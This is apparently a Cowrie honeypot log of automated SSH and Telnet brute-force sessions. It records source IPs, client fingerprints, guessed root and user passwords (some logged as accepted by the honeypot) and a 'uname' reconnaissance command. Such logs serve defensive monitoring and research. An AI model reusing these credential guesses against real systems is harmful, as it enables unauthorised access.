{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:34.688775Z","src_ip":"101.44.96.62","session":"2639c9065159","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"a123456A","message":"login attempt [root/a123456A] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:35.341048Z","src_ip":"101.44.96.62","session":"2639c9065159","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:35.807728Z","src_ip":"101.44.96.62","session":"2639c9065159","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:35.811734Z","src_ip":"101.44.96.62","session":"2639c9065159","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:36.033194Z","src_ip":"101.44.96.62","session":"2639c9065159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:36.037760Z","src_ip":"101.44.96.62","session":"2639c9065159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.121.246.49","src_port":49495,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb099a03f73b","protocol":"telnet","message":"New connection: 138.121.246.49:49495 (159.203.135.109:23) [session: eb099a03f73b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:36.262732Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":42518,"dst_ip":"159.203.135.109","dst_port":22,"session":"edec722b8aa7","protocol":"ssh","message":"New connection: 101.44.96.62:42518 (159.203.135.109:22) [session: edec722b8aa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:47.926516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:47.931708Z","src_ip":"101.44.96.62","session":"edec722b8aa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:48.148752Z","src_ip":"101.44.96.62","session":"edec722b8aa7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:48.799388Z","src_ip":"101.44.96.62","session":"edec722b8aa7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:49.270275Z","src_ip":"101.44.96.62","session":"edec722b8aa7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:49.273567Z","src_ip":"101.44.96.62","session":"edec722b8aa7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:49.493508Z","src_ip":"101.44.96.62","session":"edec722b8aa7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:49.498391Z","src_ip":"101.44.96.62","session":"edec722b8aa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.240.199","src_port":33192,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd9dfa72e63a","protocol":"ssh","message":"New connection: 91.92.240.199:33192 (159.203.135.109:22) [session: fd9dfa72e63a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:54.751072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:55.366387Z","src_ip":"91.92.240.199","session":"fd9dfa72e63a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:55.370476Z","src_ip":"91.92.240.199","session":"fd9dfa72e63a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:05:59.349701Z","src_ip":"91.92.240.199","session":"fd9dfa72e63a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:01.190642Z","src_ip":"91.92.240.199","session":"fd9dfa72e63a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":40042,"dst_ip":"159.203.135.109","dst_port":22,"session":"e19cbdcf7e76","protocol":"ssh","message":"New connection: 101.44.96.62:40042 (159.203.135.109:22) [session: e19cbdcf7e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:01.417283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:01.522060Z","src_ip":"101.44.96.62","session":"e19cbdcf7e76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:01.739555Z","src_ip":"101.44.96.62","session":"e19cbdcf7e76","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"qq123456","message":"login attempt [root/qq123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:02.391643Z","src_ip":"101.44.96.62","session":"e19cbdcf7e76","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:02.871291Z","src_ip":"101.44.96.62","session":"e19cbdcf7e76","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:02.875682Z","src_ip":"101.44.96.62","session":"e19cbdcf7e76","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:03.097107Z","src_ip":"101.44.96.62","session":"e19cbdcf7e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:03.101664Z","src_ip":"101.44.96.62","session":"e19cbdcf7e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.833287954330444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:07.095918Z","src_ip":"138.121.246.49","session":"eb099a03f73b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":46032,"dst_ip":"159.203.135.109","dst_port":22,"session":"5aac5971b34a","protocol":"ssh","message":"New connection: 101.44.96.62:46032 (159.203.135.109:22) [session: 5aac5971b34a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:14.961325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:14.966205Z","src_ip":"101.44.96.62","session":"5aac5971b34a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:15.184371Z","src_ip":"101.44.96.62","session":"5aac5971b34a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:15.838153Z","src_ip":"101.44.96.62","session":"5aac5971b34a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:17.059156Z","src_ip":"101.44.96.62","session":"5aac5971b34a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":55714,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b316f3a0b81","protocol":"ssh","message":"New connection: 101.44.96.62:55714 (159.203.135.109:22) [session: 4b316f3a0b81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:28.431060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:28.435872Z","src_ip":"101.44.96.62","session":"4b316f3a0b81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:28.651110Z","src_ip":"101.44.96.62","session":"4b316f3a0b81","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:29.295705Z","src_ip":"101.44.96.62","session":"4b316f3a0b81","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:29.752578Z","src_ip":"101.44.96.62","session":"4b316f3a0b81","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:29.754972Z","src_ip":"101.44.96.62","session":"4b316f3a0b81","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:29.971375Z","src_ip":"101.44.96.62","session":"4b316f3a0b81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:29.975563Z","src_ip":"101.44.96.62","session":"4b316f3a0b81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":57096,"dst_ip":"159.203.135.109","dst_port":22,"session":"838bafdd909e","protocol":"ssh","message":"New connection: 101.44.96.62:57096 (159.203.135.109:22) [session: 838bafdd909e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:41.965147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:41.968849Z","src_ip":"101.44.96.62","session":"838bafdd909e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:42.182643Z","src_ip":"101.44.96.62","session":"838bafdd909e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svnuser","password":"svnuser","message":"login attempt [svnuser/svnuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:42.827231Z","src_ip":"101.44.96.62","session":"838bafdd909e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":47528,"dst_ip":"159.203.135.109","dst_port":22,"session":"38626be29b9b","protocol":"ssh","message":"New connection: 139.19.117.129:47528 (159.203.135.109:22) [session: 38626be29b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T16:06:43.339972Z"}
